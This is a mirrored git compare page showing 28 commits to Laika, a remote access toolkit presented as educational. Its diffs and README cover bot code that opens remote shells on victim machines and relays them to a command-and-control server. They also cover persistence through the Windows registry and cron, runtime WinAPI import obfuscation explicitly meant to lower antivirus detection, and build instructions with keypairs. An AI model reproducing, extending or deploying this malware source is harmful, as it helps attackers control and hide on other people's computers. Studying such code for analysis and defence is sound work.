mirror of
https://github.com/CPunch/Laika.git
synced 2025-11-16 09:20:08 +00:00
Compare commits
28 Commits
6a3bad9489
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
| 7c4a5ddc8c | |||
| 5076e4c7b9 | |||
| a1c49edda1 | |||
| 0adfdc0ace | |||
| 3316c77667 | |||
| 7ec814525c | |||
| 490fcec4e7 | |||
| 674ea2b47b | |||
| 6ab280d010 | |||
| dc91a207b1 | |||
| 257a50e817 | |||
| d015eec5f1 | |||
| cf01657cc2 | |||
| 587d9a26e5 | |||
| b23057b219 | |||
| 169313ee39 | |||
| 44086f563b | |||
| 13398dbdf6 | |||
| af09e74263 | |||
| dbbe5f5a2a | |||
| 3034c3bd8b | |||
| 770e34463e | |||
| 68f8e80c75 | |||
| 10a36df090 | |||
| fab6c5b4f6 | |||
| ed96b75577 | |||
| 25c18db6bc | |||
| 5d2f492c41 |
@@ -30,7 +30,7 @@ if(RAWCMAKEBUILDTYPE STREQUAL "debug")
|
||||
set(LAIKA_DEBUG_BUILD on)
|
||||
if(WIN32)
|
||||
# statically link debug libs for windows
|
||||
message(STATUS "Adding MSVC Debug libs...")
|
||||
message(STATUS "Adding MSVCRT Debug libs...")
|
||||
set(CMAKE_MSVC_RUNTIME_LIBRARY "MultiThreadedDebug")
|
||||
else()
|
||||
message(STATUS "Adding sanitizer...")
|
||||
@@ -42,6 +42,7 @@ else()
|
||||
set(LAIKA_DEBUG_BUILD off)
|
||||
# statically link non-debug libs
|
||||
if(WIN32)
|
||||
message(STATUS "Adding MSVCRT libs...")
|
||||
set(CMAKE_MSVC_RUNTIME_LIBRARY "MultiThreaded")
|
||||
endif ()
|
||||
endif ()
|
||||
@@ -88,9 +89,9 @@ add_subdirectory(tools/vmboxgen)
|
||||
# compile laikalib, tools, cnc & bot
|
||||
add_subdirectory(lib)
|
||||
add_subdirectory(tools)
|
||||
add_subdirectory(bot)
|
||||
|
||||
# these subprojects don't support windows (sorry)
|
||||
add_subdirectory(bot) # windows support Soon:tm:
|
||||
if(NOT WIN32 AND (UNIX AND NOT APPLE))
|
||||
add_subdirectory(cnc)
|
||||
add_subdirectory(shell)
|
||||
|
||||
@@ -16,12 +16,12 @@ Looking for some simple tasks that need to get done for that sweet 'contributor'
|
||||
|
||||
- Change `lib/lin/linshell.c` to use openpty() instead of forkpty() for BSD support
|
||||
- Fix address sanitizer for CMake DEBUG builds
|
||||
- Change laikaT_getTime in `lib/src/ltask.c` to not use C11 features
|
||||
- Implement more LAIKA_BOX_* VMs in `lib/include/lbox.h`
|
||||
- Change laikaT_getTime in `lib/src/core/ltask.c` to not use C11 features and maybe review my linked list implementation :(
|
||||
- Implement more LAIKA_BOX_* VMs in `lib/include/core/lbox.h`s
|
||||
- Import more WinAPI manually using the method listed below
|
||||
|
||||
## Bot: Windows API Imports Obfuscation
|
||||
Laika uses the fairly common technique of importing several API functions during runtime to help lower AV detection rates. In short, this just removes our library function from our IAT (Import Address Table), making it harder for AV to know what APIs we're loading and using. The logic for importing API is in `bot/win/winobf.c`. To add another API to our import list, first make the function typedef & function pointer definition in `bot/include/obf.h`, for example:
|
||||
Laika uses the fairly common technique of importing several API functions during runtime to help lower AV detection rates. In short, this just removes our library function from our IAT (Import Address Table), making it harder for AV to know what APIs we're loading and using. The logic for importing API is in `lib/win/winobf.c`. To add another API to our import list, first make the function typedef & function pointer definition in `lib/include/obf.h`, for example:
|
||||
|
||||
```C
|
||||
typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT);
|
||||
@@ -63,7 +63,7 @@ If the `real` & `hashed` match, that means our manual runtime import and the imp
|
||||
Now just replace all of the calls to the raw WinAPI (in our case, ShellExecuteA) with our new manually imported oShellExecuteA function pointer. Format & commit your changes, and open a PR and I'll merge your changes. Thanks!
|
||||
|
||||
## Lib: Error Handling
|
||||
Error handling in Laika is done via the 'lerror.h' header library. It's a small and simple error handling solution written for laika, however can be stripped and used as a simple error handling library. Error handling in Laika is used similarly to other languages, implementing a try & catch block and is achieved using setjmp(). The LAIKA_ERROR(...) is used to throw errors.
|
||||
Error handling in Laika is done via the 'lib/core/lerror.h' header library. It's a small and simple error handling solution written for laika, however can be stripped and used as a simple error handling library. Error handling in Laika is used similarly to other languages, implementing a try & catch block and is achieved using setjmp() & longjmp(). The LAIKA_ERROR(...) macro is used to throw errors.
|
||||
|
||||
Example:
|
||||
```C
|
||||
@@ -84,15 +84,13 @@ Some minor inconveniences include:
|
||||
- not thread safe.
|
||||
|
||||
## Lib: Packet Handlers
|
||||
|
||||
Laika has a simple binary protocol & a small backend (see `lib/src/lpeer.c`) to handle packets to/from peers. `lib/include/lpacket.h` includes descriptions for each packet type. For an example of proper packet handler definitions see `bot/src/bot.c`. It boils down to passing a sLaika_peerPacketInfo table to laikaS_newPeer. To add packet handlers to the bot, add your handler info to laikaB_pktTbl in `bot/src/bot.c`. To add packet handlers to the shell, add your handler info to shellC_pktTbl in `shell/src/sclient.c`. For adding packet handlers to cnc, make sure you add them to the corresponding table in `cnc/src/cnc.c`, laikaC_botPktTbl for packets being received from a bot peer, laikaC_authPktTbl for packets being received from an auth peer (shell), or DEFAULT_PKT_TBL if it's received by all peer types (things like handshakes, keep-alive, etc.)
|
||||
Laika has a simple binary protocol & a small backend (see `lib/src/net/lpeer.c`) to handle packets to/from peers. `lib/include/net/lpacket.h` includes descriptions for each packet type. For an example of proper packet handler definitions see `bot/src/bot.c`. It boils down to passing a sLaika_peerPacketInfo table to laikaS_newPeer. To add packet handlers to the bot, add your handler info to laikaB_pktTbl in `bot/src/bot.c`. To add packet handlers to the shell, add your handler info to shellC_pktTbl in `shell/src/sclient.c`. For adding packet handlers to cnc, make sure you add them to the corresponding table in `cnc/src/cnc.c`, laikaC_botPktTbl for packets being received from a bot peer, laikaC_authPktTbl for packets being received from an auth peer (shell), or DEFAULT_PKT_TBL if it's received by all peer types (things like handshakes, keep-alive, etc.)
|
||||
|
||||
## Lib: Task Service
|
||||
Tasks can be scheduled on a delta-period (call X function every approximate N seconds). laikaT_pollTasks() is used to check & run any currently queued tasks. This is useful for sending keep-alive packets, polling shell pipes, or other repeatably scheduled tasks. Most laikaT_pollTasks() calls are done in the peerHandler for each client/server.
|
||||
|
||||
## Lib: VM Boxes
|
||||
Laika has a tiny VM for decrypting sensitive information. For details on the ISA read `lib/include/lvm.h`, for information on how to use them read `lib/include/lbox.h`. Feel free to write your own boxes and contribute them :D
|
||||
Laika has a tiny VM for decrypting sensitive information. For details on the ISA read `lib/include/core/lvm.h`, for information on how to use them read `lib/include/core/lbox.h`. Feel free to write your own boxes and contribute them :D
|
||||
|
||||
## Bot: Platform-specific backends
|
||||
|
||||
`bot/win` and `bot/lin` include code for platform-specific code that can't be quickly "ifdef"d away. These mainly include stuff like persistence or opening pseudo-ttys.
|
||||
60
README.md
60
README.md
@@ -3,6 +3,7 @@
|
||||
<p align="center">
|
||||
<a href="https://github.com/CPunch/Laika/actions/workflows/check-build.yaml"><img src="https://github.com/CPunch/Laika/actions/workflows/check-build.yaml/badge.svg?branch=main" alt="Workflow"></a>
|
||||
<a href="https://github.com/CPunch/Laika/blob/main/LICENSE.md"><img src="https://img.shields.io/github/license/CPunch/Laika" alt="License"></a>
|
||||
<br>
|
||||
<a href="https://asciinema.org/a/499508" target="_blank"><img src="https://asciinema.org/a/499508.svg" /></a>
|
||||
</p>
|
||||
|
||||
@@ -11,67 +12,20 @@ Laika is a simple cross-platform Remote Access Toolkit stack for educational pur
|
||||
Some notable features thus far:
|
||||
- [X] Lightweight, the bot alone is 183kb (`MinSizeRel`) and uses very little resources minimizing Laika's footprint.
|
||||
- [X] Authentication & packet encryption using LibSodium and a predetermined public CNC key. (generated with `bin/genKey`)
|
||||
- [X] Server and Shell configuration through `.ini` files.
|
||||
- [X] Ability to open shells remotely on the victim's machine.
|
||||
- [X] CNC and Shell configuration through `.ini` files.
|
||||
- [X] Open shells remotely on the victim machine.
|
||||
- [X] Persistence across reboot: (toggled with `-DLAIKA_PERSISTENCE=On`)
|
||||
- [X] Persistence via Cron on Linux-based systems.
|
||||
- [X] Persistence via Windows Registry.
|
||||
- [X] Uses obfuscation techniques also seen in the wild (string obfuscation, tiny VMs executing sensitive operations, etc.)
|
||||
- [ ] Simple configuration using CMake:
|
||||
- [X] Setting keypairs (`-DLAIKA_PUBKEY=? -DLAIKA_PRIVKEY=?`, etc.)
|
||||
- [X] Setting keypairs (`-DLAIKA_CNC_IP=? -DLAIKA_CNC_PORT=?`, etc.)
|
||||
- [X] Enabling/Disabling Obfuscation (`-DLAIKA_OBFUSCATE=On`)
|
||||
- [ ] Obfuscation modes
|
||||
|
||||
## Why?
|
||||
## How do I use this?
|
||||
|
||||
Most public malware sources in the wild are nerf'd or poorly made. Laika is written in modern C, and strives to adhere to best practices while keeping a maintainable and readable code base. The reader is encouraged to compile a `MinSizeRel` build of Laika and open it up in their favorite disassembler. Take a look at how certain functions or subroutines look compared to its plaintext source. See if you can dump strings during runtime with a debugger, try to break Laika. Play both sides by breaking Laika, and improving it to make reversing and analysis harder. Most malware depend on the time that it takes to analyze a sample, this gives their malware time to do whatever before eventually being shutdown. Playing both sides will help give you insight into the methods and bitterness that is this cat and mouse game.
|
||||
|
||||
## Would this work in real world scenarios?
|
||||
|
||||
My hope is that this becomes complete enough to be accurate to real RAT sources seen in the wild. However since Laika uses a binary protocol, the traffic the bot/CNC create would look very suspect and scream to sysadmins. This is why most RATs/botnets nowadays use an HTTP-based protocol, not only to 'blend in' with traffic, but it also scales well with large networks of bots where the CNC can be deployed across multiple servers and have a generic HTTP load balancer.
|
||||
|
||||
I could add some padding to each packet to make it look pseudo-HTTP-like, however I haven't given much thought to this.
|
||||
|
||||
## CMake Definitions
|
||||
|
||||
| Definition | Description | Example |
|
||||
| ----------------- | ------------------------------------- | --------------------------------------------------------------------------------- |
|
||||
| LAIKA_PUBKEY | Sets CNC's public key | -DLAIKA_PUBKEY=997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814 |
|
||||
| LAIKA_PRIVKEY | Sets CNC's private key | -DLAIKA_PRIVKEY=1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841 |
|
||||
| LAIKA_CNC_IP | Sets CNC's public ip | -DLAIKA_CNC_IP=127.0.0.1 |
|
||||
| LAIKA_CNC_PORT | Sets CNC's bind()'d port | -DLAIKA_CNC_PORT=13337 |
|
||||
| LAIKA_PERSISTENCE | Enables persistence for LaikaBot | -DLAIKA_PERSISTENCE=On |
|
||||
| LAIKA_OBFUSCATE | Enables string obfuscation for LaikaBot | -DLAIKA_OBFUSCATE=On |
|
||||
> examples are passed to `cmake -B <dir>`
|
||||
|
||||
## Configuration and compilation
|
||||
|
||||
Make sure you have the following libraries and tools installed:
|
||||
- CMake (>=3.16)
|
||||
- Compiler with C11 support (GCC >= 4.7, Clang >= 3.1, etc.)
|
||||
|
||||
The only dependency (LibSodium) is vender'd and statically compiled against the `/lib`. This should be kept up-to-date against stable and security related updates to LibSodium.
|
||||
|
||||
First, compile the target normally
|
||||
|
||||
```sh
|
||||
$ cmake -B build && cmake --build build
|
||||
```
|
||||
|
||||
Now, generate your custom key pair using `genKey`
|
||||
|
||||
```sh
|
||||
$ ./bin/genKey
|
||||
```
|
||||
|
||||
Next, rerun cmake, but passing your public and private keypairs
|
||||
|
||||
```sh
|
||||
$ rm -rf bin build &&\
|
||||
cmake -B build -DLAIKA_PUBKEY=997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814 -DLAIKA_PRIVKEY=1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841 -DCMAKE_BUILD_TYPE=MinSizeRel &&\
|
||||
cmake --build build
|
||||
```
|
||||
|
||||
Output binaries are put in the `./bin` folder
|
||||
Please refer to the [Wiki](https://github.com/CPunch/Laika/wiki) for any questions relating to deployment, compilation & setup.
|
||||
|
||||
## Looking to contribute?
|
||||
|
||||
|
||||
@@ -30,9 +30,6 @@ if(LAIKA_OBFUSCATE)
|
||||
add_dependencies(LaikaBot VMBoxGen)
|
||||
endif ()
|
||||
|
||||
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
|
||||
target_compile_definitions(LaikaBot PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
|
||||
|
||||
# add include directory
|
||||
target_include_directories(LaikaBot PUBLIC ${BOT_INCLUDEDIR})
|
||||
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
#ifndef LAIKA_BOT_H
|
||||
#define LAIKA_BOT_H
|
||||
|
||||
#include "core/lsodium.h"
|
||||
#include "core/ltask.h"
|
||||
#include "laika.h"
|
||||
#include "lpacket.h"
|
||||
#include "lpeer.h"
|
||||
#include "lpolllist.h"
|
||||
#include "lsocket.h"
|
||||
#include "lsodium.h"
|
||||
#include "ltask.h"
|
||||
#include "net/lpacket.h"
|
||||
#include "net/lpeer.h"
|
||||
#include "net/lpolllist.h"
|
||||
#include "net/lsocket.h"
|
||||
|
||||
struct sLaika_shell;
|
||||
struct sLaika_bot
|
||||
|
||||
@@ -1,24 +0,0 @@
|
||||
#ifndef LAIKA_OBF_H
|
||||
#define LAIKA_OBF_H
|
||||
|
||||
#include "laika.h"
|
||||
|
||||
#ifdef _WIN32
|
||||
# include <process.h>
|
||||
# include <windows.h>
|
||||
|
||||
/* WINAPI types */
|
||||
typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT);
|
||||
typedef HRESULT(WINAPI *_CreatePseudoConsole)(COORD, HANDLE, HANDLE, DWORD, HPCON *);
|
||||
typedef void(WINAPI *_ClosePseudoConsole)(HPCON);
|
||||
typedef BOOL(WINAPI *_CreateProcessA)(LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
|
||||
|
||||
extern _ShellExecuteA oShellExecuteA;
|
||||
extern _CreatePseudoConsole oCreatePseudoConsole;
|
||||
extern _ClosePseudoConsole oClosePseudoConsole;
|
||||
extern _CreateProcessA oCreateProcessA;
|
||||
#endif
|
||||
|
||||
void laikaO_init();
|
||||
|
||||
#endif
|
||||
@@ -2,7 +2,7 @@
|
||||
#define LAIKA_SHELL_H
|
||||
|
||||
#include "laika.h"
|
||||
#include "lpacket.h"
|
||||
#include "net/lpacket.h"
|
||||
|
||||
#include <time.h>
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
/* platform specific code for achieving persistence on linux */
|
||||
|
||||
#include "lbox.h"
|
||||
#include "core/lbox.h"
|
||||
#include "core/lerror.h"
|
||||
#include "core/lmem.h"
|
||||
#include "lconfig.h"
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "lsocket.h"
|
||||
#include "net/lsocket.h"
|
||||
#include "persist.h"
|
||||
|
||||
#include <pwd.h>
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
/* platform specific code for opening shells in linux */
|
||||
|
||||
#include "bot.h"
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "ltask.h"
|
||||
#include "core/lerror.h"
|
||||
#include "core/lmem.h"
|
||||
#include "core/ltask.h"
|
||||
#include "shell.h"
|
||||
|
||||
#include <pty.h>
|
||||
@@ -73,7 +73,7 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
|
||||
if (rd > 0) {
|
||||
/* we read some input! send to cnc */
|
||||
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
|
||||
laikaS_writeInt(sock, &shell->_shell.id, sizeof(uint32_t));
|
||||
laikaS_writeu32(sock, shell->_shell.id);
|
||||
laikaS_write(sock, readBuf, rd);
|
||||
laikaS_endVarPacket(peer);
|
||||
} else if (rd == -1) {
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
#include "bot.h"
|
||||
|
||||
#include "lbox.h"
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "lsodium.h"
|
||||
#include "core/lbox.h"
|
||||
#include "core/lerror.h"
|
||||
#include "core/lmem.h"
|
||||
#include "core/lsodium.h"
|
||||
#include "shell.h"
|
||||
|
||||
void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
|
||||
@@ -12,7 +12,7 @@ void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz,
|
||||
uint8_t endianness = laikaS_readByte(&peer->sock);
|
||||
laikaS_read(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN);
|
||||
|
||||
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
|
||||
peer->sock.flipEndian = endianness != laikaM_isBigEndian();
|
||||
|
||||
/* set peer salt */
|
||||
laikaS_setSalt(peer, saltBuf);
|
||||
@@ -79,7 +79,6 @@ struct sLaika_bot *laikaB_newBot(void)
|
||||
struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
|
||||
struct hostent *host;
|
||||
char *tempINBuf;
|
||||
size_t _unused;
|
||||
int i;
|
||||
|
||||
laikaP_initPList(&bot->pList);
|
||||
|
||||
@@ -1,16 +1,20 @@
|
||||
#include "bot.h"
|
||||
#include "lbox.h"
|
||||
#include "core/lbox.h"
|
||||
#include "core/lerror.h"
|
||||
#include "core/ltask.h"
|
||||
#include "lconfig.h"
|
||||
#include "lerror.h"
|
||||
#include "ltask.h"
|
||||
#include "obf.h"
|
||||
#include "lobf.h"
|
||||
#include "persist.h"
|
||||
#include "shell.h"
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
/* if LAIKA_PERSISTENCE is defined, this will specify the timeout for
|
||||
retrying to connect to the CNC server */
|
||||
#define LAIKA_RETRY_CONNECT 5
|
||||
|
||||
#ifdef _WIN32
|
||||
# ifndef DEBUG
|
||||
# ifndef LAIKA_DEBUG_BUILD
|
||||
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
|
||||
{
|
||||
# else
|
||||
@@ -54,9 +58,9 @@ int main()
|
||||
laikaB_freeBot(bot);
|
||||
#ifdef LAIKA_PERSISTENCE
|
||||
# ifdef _WIN32
|
||||
Sleep(5000);
|
||||
Sleep(LAIKA_RETRY_CONNECT*1000);
|
||||
# else
|
||||
sleep(5);
|
||||
sleep(LAIKA_RETRY_CONNECT);
|
||||
# endif
|
||||
} while (1);
|
||||
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
#include "shell.h"
|
||||
|
||||
#include "bot.h"
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "core/lerror.h"
|
||||
#include "core/lmem.h"
|
||||
|
||||
#include <inttypes.h>
|
||||
#include <stdio.h>
|
||||
@@ -28,7 +28,7 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell)
|
||||
|
||||
/* tell cnc shell is closed */
|
||||
laikaS_startOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE);
|
||||
laikaS_writeInt(&bot->peer->sock, &id, sizeof(uint32_t));
|
||||
laikaS_writeu32(&bot->peer->sock, id);
|
||||
laikaS_endOutPacket(bot->peer);
|
||||
|
||||
laikaB_freeRAWShell(bot, shell);
|
||||
@@ -51,9 +51,9 @@ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
|
||||
uint32_t id;
|
||||
uint16_t cols, rows;
|
||||
|
||||
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
|
||||
laikaS_readInt(&peer->sock, &cols, sizeof(uint16_t));
|
||||
laikaS_readInt(&peer->sock, &rows, sizeof(uint16_t));
|
||||
id = laikaS_readu32(&peer->sock);
|
||||
cols = laikaS_readu16(&peer->sock);
|
||||
rows = laikaS_readu16(&peer->sock);
|
||||
|
||||
/* check if shell is already open */
|
||||
if (id > LAIKA_MAX_SHELLS || (shell = bot->shells[id]))
|
||||
@@ -62,7 +62,7 @@ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
|
||||
/* open shell & if we failed, tell cnc */
|
||||
if ((shell = laikaB_newShell(bot, cols, rows, id)) == NULL) {
|
||||
laikaS_startOutPacket(bot->peer, LAIKAPKT_SHELL_CLOSE);
|
||||
laikaS_writeInt(&bot->peer->sock, &id, sizeof(uint32_t));
|
||||
laikaS_writeu32(&bot->peer->sock, id);
|
||||
laikaS_endOutPacket(bot->peer);
|
||||
}
|
||||
}
|
||||
@@ -73,7 +73,7 @@ void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
|
||||
struct sLaika_shell *shell;
|
||||
uint32_t id;
|
||||
|
||||
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
|
||||
id = laikaS_readu32(&peer->sock);
|
||||
|
||||
/* check if shell is not running */
|
||||
if (id > LAIKA_MAX_SHELLS || !(shell = bot->shells[id]))
|
||||
@@ -91,7 +91,7 @@ void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
|
||||
uint32_t id;
|
||||
|
||||
/* read data buf */
|
||||
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
|
||||
id = laikaS_readu32(&peer->sock);
|
||||
laikaS_read(&peer->sock, buf, sz - sizeof(uint32_t));
|
||||
|
||||
/* sanity check shell */
|
||||
|
||||
@@ -6,12 +6,12 @@
|
||||
|
||||
#pragma comment(lib, "Shlwapi.lib")
|
||||
|
||||
#include "lbox.h"
|
||||
#include "core/lbox.h"
|
||||
#include "core/lerror.h"
|
||||
#include "core/lmem.h"
|
||||
#include "core/lvm.h"
|
||||
#include "lconfig.h"
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "lvm.h"
|
||||
#include "obf.h"
|
||||
#include "lobf.h"
|
||||
#include "persist.h"
|
||||
|
||||
HANDLE laikaB_mutex;
|
||||
@@ -49,7 +49,7 @@ HKEY openReg(HKEY key, LPCSTR subKey)
|
||||
{
|
||||
HKEY hKey;
|
||||
|
||||
if (RegOpenKeyExA(key, subKey, 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
|
||||
if (oRegOpenKeyExA(key, subKey, 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
|
||||
LAIKA_ERROR("Failed to open registry key!\n");
|
||||
|
||||
return hKey;
|
||||
@@ -63,12 +63,12 @@ LPSTR readReg(HKEY key, LPCSTR val, LPDWORD sz)
|
||||
|
||||
/* get the size */
|
||||
*sz = 0;
|
||||
RegQueryValueExA(key, val, NULL, NULL, NULL, sz);
|
||||
oRegQueryValueExA(key, val, NULL, NULL, NULL, sz);
|
||||
|
||||
if (*sz != 0) {
|
||||
str = (LPSTR)laikaM_malloc(*sz);
|
||||
|
||||
if ((ret = RegQueryValueExA(key, val, NULL, NULL, str, sz)) != ERROR_SUCCESS)
|
||||
if ((ret = oRegQueryValueExA(key, val, NULL, NULL, str, sz)) != ERROR_SUCCESS)
|
||||
LAIKA_ERROR("Failed to read registry!\n");
|
||||
}
|
||||
|
||||
@@ -79,7 +79,7 @@ void writeReg(HKEY key, LPCSTR val, LPSTR data, DWORD sz)
|
||||
{
|
||||
LONG code;
|
||||
|
||||
if ((code = RegSetValueExA(key, val, 0, REG_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS)
|
||||
if ((code = oRegSetValueExA(key, val, 0, REG_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS)
|
||||
LAIKA_ERROR("Failed to write registry!\n");
|
||||
}
|
||||
|
||||
@@ -190,7 +190,7 @@ void installRegistry()
|
||||
writeReg(reg, regKeyVal, newRegValue, newRegSz);
|
||||
}
|
||||
|
||||
RegCloseKey(reg);
|
||||
oRegCloseKey(reg);
|
||||
LAIKA_BOX_SKID_END(regKeyVal);
|
||||
LAIKA_BOX_SKID_END(regKey);
|
||||
}
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
/* platform specific code for opening shells (pseudo consoles) on windows */
|
||||
#include "bot.h"
|
||||
#include "obf.h"
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "core/lerror.h"
|
||||
#include "core/lmem.h"
|
||||
#include "lobf.h"
|
||||
#include "shell.h"
|
||||
|
||||
#include <process.h>
|
||||
@@ -184,7 +184,7 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
|
||||
if (readSucc) {
|
||||
/* we read some input! send to cnc */
|
||||
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
|
||||
laikaS_writeInt(sock, &shell->_shell.id, sizeof(uint32_t));
|
||||
laikaS_writeu32(sock, shell->_shell.id);
|
||||
laikaS_write(sock, readBuf, rd);
|
||||
laikaS_endVarPacket(peer);
|
||||
} else {
|
||||
|
||||
@@ -13,8 +13,5 @@ file(GLOB_RECURSE CNCHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
|
||||
add_executable(LaikaCNC ${CNCSOURCE} ${CNCHEADERS})
|
||||
target_link_libraries(LaikaCNC PUBLIC LaikaLib)
|
||||
|
||||
# add the 'DEBUG' preprocessor definition if we're compiling as Debug
|
||||
target_compile_definitions(LaikaCNC PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
|
||||
|
||||
# add include directory
|
||||
target_include_directories(LaikaCNC PUBLIC ${CNC_INCLUDEDIR})
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
#define LAIKA_CNC_PANEL_H
|
||||
|
||||
#include "cnc.h"
|
||||
#include "lpeer.h"
|
||||
#include "net/lpeer.h"
|
||||
|
||||
void laikaC_sendPeerList(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer);
|
||||
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
|
||||
@@ -1,13 +1,14 @@
|
||||
#ifndef LAIKA_CNC_H
|
||||
#define LAIKA_CNC_H
|
||||
|
||||
#include "hashmap.h"
|
||||
#include "core/hashmap.h"
|
||||
#include "core/lmem.h"
|
||||
#include "core/ltask.h"
|
||||
#include "laika.h"
|
||||
#include "lpacket.h"
|
||||
#include "lpeer.h"
|
||||
#include "lpolllist.h"
|
||||
#include "lsocket.h"
|
||||
#include "ltask.h"
|
||||
#include "net/lpacket.h"
|
||||
#include "net/lpeer.h"
|
||||
#include "net/lpolllist.h"
|
||||
#include "net/lsocket.h"
|
||||
|
||||
/* kill peers if they haven't ping'd within a minute */
|
||||
#define LAIKA_PEER_TIMEOUT 60 * 1000
|
||||
@@ -20,12 +21,8 @@ struct sLaika_cnc
|
||||
struct sLaika_socket sock;
|
||||
struct sLaika_pollList pList;
|
||||
struct hashmap *peers; /* holds all peers, lookup using pubkey */
|
||||
struct sLaika_peer **authPeers; /* holds connected panel peers */
|
||||
uint8_t **authKeys;
|
||||
int authKeysCount;
|
||||
int authKeysCap;
|
||||
int authPeersCount;
|
||||
int authPeersCap;
|
||||
laikaM_newVector(struct sLaika_peer *, authPeers); /* holds connected panel peers */
|
||||
laikaM_newVector(uint8_t *, authKeys);
|
||||
uint16_t port;
|
||||
};
|
||||
|
||||
@@ -54,6 +51,7 @@ struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub);
|
||||
void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task,
|
||||
clock_t currTick, void *uData);
|
||||
|
||||
bool laikaC_iterPeersNext(struct sLaika_cnc *cnc, size_t *i, struct sLaika_peer **peer);
|
||||
void laikaC_iterPeers(struct sLaika_cnc *cnc, tLaika_peerIter iter, void *uData);
|
||||
|
||||
#endif
|
||||
@@ -2,10 +2,10 @@
|
||||
#define LAIKA_CNC_PEER_H
|
||||
|
||||
#include "laika.h"
|
||||
#include "lpacket.h"
|
||||
#include "lpeer.h"
|
||||
#include "lpolllist.h"
|
||||
#include "lsocket.h"
|
||||
#include "net/lpacket.h"
|
||||
#include "net/lpeer.h"
|
||||
#include "net/lpolllist.h"
|
||||
#include "net/lsocket.h"
|
||||
|
||||
struct sLaika_peerInfo
|
||||
{
|
||||
|
||||
@@ -1,26 +1,22 @@
|
||||
#include "cpanel.h"
|
||||
#include "cauth.h"
|
||||
|
||||
#include "cnc.h"
|
||||
#include "core/lerror.h"
|
||||
#include "core/lmem.h"
|
||||
#include "cpeer.h"
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
|
||||
bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData)
|
||||
void laikaC_sendPeerList(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
|
||||
{
|
||||
struct sLaika_peer *authPeer = (struct sLaika_peer *)uData;
|
||||
struct sLaika_peer *peer;
|
||||
size_t i = 0;
|
||||
|
||||
/* make sure we're not sending connection information to themselves */
|
||||
/* send authPeer details on each peer that *isn't* itself */
|
||||
while (laikaC_iterPeersNext(cnc, &i, &peer)) {
|
||||
if (peer != authPeer) {
|
||||
LAIKA_DEBUG("sending peer info %p to auth %p)\n", peer, authPeer);
|
||||
laikaC_sendNewPeer(authPeer, peer);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void laikaC_sendPeerList(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
|
||||
{
|
||||
laikaC_iterPeers(cnc, sendPanelPeerIter, (void *)authPeer);
|
||||
}
|
||||
|
||||
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
|
||||
